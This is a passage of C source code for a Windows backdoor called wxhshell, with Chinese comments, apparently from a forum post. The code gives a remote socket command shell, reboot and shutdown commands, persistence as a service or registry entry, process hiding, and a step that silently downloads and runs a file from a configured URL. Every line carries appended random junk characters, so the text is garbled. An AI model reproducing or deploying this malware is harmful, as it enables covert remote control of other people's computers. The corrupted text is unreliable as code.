      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); B9-[wg#0G  
    break; ][1u:V/ U  
  } ]*U')  
  // 安装 r,KK%B  
  case 'i': { -y.AJ~T  
    if(Install()) ~{Bi{aK2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^eRT8I  
    else AwrK82  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wO%:WL$5  
    break; >MrU^t  
    } v |2j~  
  // 卸载 R!qrb26k  
  case 'r': { (W!$6+GT  
    if(Uninstall()) DdO '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mhuaXbr  
    else ;VRR=p%,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5^/[]*  
    break; mIo7 K5z{  
    } {jf~?/<  
  // 显示 wxhshell 所在路径 ptQ (7N  
  case 'p': { 0z#kV}wE  
    char svExeFile[MAX_PATH]; ;)a9Y?  
    strcpy(svExeFile,"\n\r"); y*(j{0yd  
      strcat(svExeFile,ExeFile); n82Q.M-H  
        send(wsh,svExeFile,strlen(svExeFile),0); eR`<9KBH  
    break; Zx 1z hc  
    } `ayc YoD  
  // 重启 VC7F#a*V  
  case 'b': { ! fc)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %MNV 5UA[w  
    if(Boot(REBOOT)) b{Ss+F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2GzpWV(  
    else { IBh~(6  
    closesocket(wsh); R!G7;m'N1  
    ExitThread(0); Yk?q7xuT  
    } G'f"w5%qZv  
    break; <DS6-y  
    } N2e<Y_T  
  // 关机 ]SgeZ07  
  case 'd': { >6+K"J-@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3wl>a#f  
    if(Boot(SHUTDOWN)) X+8p2xSO|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BB$>h-M/%#  
    else { ,&G M\FTeb  
    closesocket(wsh); V}-o): dI|  
    ExitThread(0); -~fI|A^  
    } ~\,6 C1M  
    break; _6 `4_<c=  
    } yRkMR$5&  
  // 获取shell zmRK%a(  
  case 's': { Am4(WXVQ  
    CmdShell(wsh); 2,0F8=L  
    closesocket(wsh); e`F|sz]k"H  
    ExitThread(0); mA @+4&  
    break; pa-4|)qY  
  }  Jx w<*  
  // 退出 m)}MkC-  
  case 'x': { id'# s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Kf~+jYobO  
    CloseIt(wsh); G1 tp  
    break; !k9h6/ b6  
    } 2s%M,Nb  
  // 离开 NhX.yLb$   
  case 'q': { C|LQYz-{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EQC  
    closesocket(wsh); f*Js= hvO  
    WSACleanup(); _9r{W65s  
    exit(1); ^j}sS!p  
    break; {m:R v&T  
        } t@M] ec  
  } gQ#T7  
  } 3~rc=e  
cU|jT8Q4H  
  // 提示信息 Hc|U@G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *pp1Wa7O  
} ^^uD33@_  
  } +9CUnRv  
|pSoBA9U  
  return; ]5/U}Um  
} BxYA[#fd}  
\-ws[  
// shell模块句柄 1H7Q[ 2E  
int CmdShell(SOCKET sock) Dj"=kL0  
{ I xBO$ 2  
STARTUPINFO si; vW3ZuB  
ZeroMemory(&si,sizeof(si)); 4'&BpFDUb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ><c5Humr  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HH@xn d  
PROCESS_INFORMATION ProcessInfo; K9'*q3z  
char cmdline[]="cmd"; a=VT|CX[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x`i`]6q  
  return 0; S\gP=.G  
} :G/]rDtd  
7g+]  
// 自身启动模式 #SNI dc>9\  
int StartFromService(void) vyGLn  
{ ,5*xE\9G  
typedef struct uiA:(2AQ  
{ mkzk$_  
  DWORD ExitStatus; =A 6O}0z  
  DWORD PebBaseAddress; %=y3  
  DWORD AffinityMask; Q}]kw}b  
  DWORD BasePriority; j],.`Y  
  ULONG UniqueProcessId; 1Z8oN3  
  ULONG InheritedFromUniqueProcessId; ] Nipo'N;  
}   PROCESS_BASIC_INFORMATION; aZ`ags ofk  
$VIq)s2az|  
PROCNTQSIP NtQueryInformationProcess; I]1Hi?A2  
|9$'?4F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5V8C+k)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j88sE MZ  
Fxx2vTV4ag  
  HANDLE             hProcess; /+O8A}  
  PROCESS_BASIC_INFORMATION pbi; B?Sfcq-  
1R9? [RE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w{x(YVS H  
  if(NULL == hInst ) return 0; /,$\H  
^|(4j_.(e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <W') ~o}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); % ul{nL:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z}&C(m:al  
BM~niW;k  
  if (!NtQueryInformationProcess) return 0; ^T6!z^g1h  
UVUO}B@[S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E?U]w0g  
  if(!hProcess) return 0; u(WQWsN  
>ImM~SR)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1t=X: ]0j  
m@yVG|eP#  
  CloseHandle(hProcess); f<p4Pkv  
<>Ddxmw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Al=? j#J6p  
if(hProcess==NULL) return 0; y@\Q@ 9  
?QT"sj64w  
HMODULE hMod; $"{3yLg  
char procName[255]; *@n3>$  
unsigned long cbNeeded; iZ6C8HK&&  
s_Oh >y?Aq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;Pqyu ?  
q&d&#3Rh  
  CloseHandle(hProcess); 3H}~eEg,  
}>X\"  
if(strstr(procName,"services")) return 1; // 以服务启动 Q>a7Ps@~  
/,N!g_"Z  
  return 0; // 注册表启动 >dvWa-rNUT  
} Bx : So6:  
(X_,*3Yxk  
// 主模块 .>64h H  
int StartWxhshell(LPSTR lpCmdLine) w*xUuwi  
{ 3 [)s;e  
  SOCKET wsl; rjAkpAT  
BOOL val=TRUE; kbp( a+5  
  int port=0; ={E!8"  
  struct sockaddr_in door; 6SBvn%  
p@7i=hyt`p  
  if(wscfg.ws_autoins) Install(); ;.Oh88|k  
Xtu`5p_Qv  
port=atoi(lpCmdLine); tGO[A#9a  
H"q`k5R  
if(port<=0) port=wscfg.ws_port; n &\'Hm  
J6( RlHS;  
  WSADATA data; >6l;/J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,rB9esxic  
1'v!9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P-OPv%jyi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S|q!? /jqj  
  door.sin_family = AF_INET; U|Z>SE<k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ')u5l  
  door.sin_port = htons(port); XL7;^AE^Wl  
9oz(=R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,D@ ;i  
closesocket(wsl); f5yux}A{  
return 1; _{c|o{2sj  
} &I}T<v{f  
Q),3&4pM  
  if(listen(wsl,2) == INVALID_SOCKET) { NB W%.z  
closesocket(wsl); lKV\1(`  
return 1; jq("D,  
} ,v}?{p c  
  Wxhshell(wsl); *L;pcg8{  
  WSACleanup(); Q%n{*py  
+r-dr>&H@  
return 0; >)n4s Mq  
MB8SB   
} s@ 2 0#D  
^?s~Fk_V  
// 以NT服务方式启动 ~C"k$;(n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :e&n.i^  
{ gVnws E  
DWORD   status = 0; u JQaHL!  
  DWORD   specificError = 0xfffffff; Y1fy2\<'  
@ k+%y'Y?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q M_/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .A*VLF*m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oGJ*Rn)Z  
  serviceStatus.dwWin32ExitCode     = 0; W%>i$:Qq  
  serviceStatus.dwServiceSpecificExitCode = 0; XYb^C s;  
  serviceStatus.dwCheckPoint       = 0; KZrMf77=  
  serviceStatus.dwWaitHint       = 0; iF [?uF  
hEv=T'*,K)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CP]S-o}yd  
  if (hServiceStatusHandle==0) return; k'@7ZH  
z;y^t4 ^9  
status = GetLastError(); ljYpMv.>xG  
  if (status!=NO_ERROR) aVppOxA  
{ -3G 4vRIo  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _)zmIB(}m  
    serviceStatus.dwCheckPoint       = 0; ws>WA{]gq  
    serviceStatus.dwWaitHint       = 0; BSfm?ku"!  
    serviceStatus.dwWin32ExitCode     = status; /UpD$,T|^|  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~MhgAC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2JiAd*WK  
    return; ! EX?m }7  
  } _(oP{w gB  
vv2vW=\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~_ u*\]-  
  serviceStatus.dwCheckPoint       = 0; P.LuF(?$  
  serviceStatus.dwWaitHint       = 0; g5tjj.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Qe>i{:N  
} G`]v_`>  
x)ddRq l  
// 处理NT服务事件,比如:启动、停止 eg"=H50  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bp]^EVx  
{ t&GA6ML#s  
switch(fdwControl) CM%|pB/z  
{ -{X<*P4p  
case SERVICE_CONTROL_STOP: ixIV=#  
  serviceStatus.dwWin32ExitCode = 0; 0jxO |N2)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lx\qp`w  
  serviceStatus.dwCheckPoint   = 0; 0U82f1ei  
  serviceStatus.dwWaitHint     = 0; }P<Qz^sr_  
  { 1~}m.ER  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yZYK wKG  
  } Ps U9R#HL1  
  return; R K"&l!o  
case SERVICE_CONTROL_PAUSE: };&HhBc!g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kOs(?=  
  break; :tRf@bD#  
case SERVICE_CONTROL_CONTINUE: <^lJr82  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }3v'Cp0L  
  break; $ A-+E\vQ@  
case SERVICE_CONTROL_INTERROGATE: JDLTOLG  
  break; &w+;N5}3  
}; slU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 51I|0 ly  
} ;mDM5.iF  
i 8l./Yt/  
// 标准应用程序主函数 XB0a dp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &|v{#,ymeb  
{ PX;Vo~6  
3/X-Cr+d  
// 获取操作系统版本 `J72+RA  
OsIsNt=GetOsVer(); wgCvD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w3^NL(>  
9YR]+*  
  // 从命令行安装 P DRnW  
  if(strpbrk(lpCmdLine,"iI")) Install(); T}C2e! _O  
7#QLtU  
  // 下载执行文件 OnZF6yfN=3  
if(wscfg.ws_downexe) { b,nn&B5@{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y Wpi|  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lj}>Xy(7<  
} ;W]D ~X&  
&!ED# gs  
if(!OsIsNt) { ?2{bKIV_  
// 如果时win9x,隐藏进程并且设置为注册表启动 z< z*Wz  
HideProc(); 3pvYi<<D'  
StartWxhshell(lpCmdLine); !X^Hi=aV  
} :6XguU  
else /\na;GI$  
  if(StartFromService()) M70c{s`w5  
  // 以服务方式启动 94\t1fE  
  StartServiceCtrlDispatcher(DispatchTable); 2ck 4C/ h  
else pX@Si3G`  
  // 普通方式启动 m23+kj)+VY  
  StartWxhshell(lpCmdLine); (=1)y'.  
U4Z[!s$  
return 0; MWiMUTZg3  
}
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只看该作者 1 发表于: 2006-10-10
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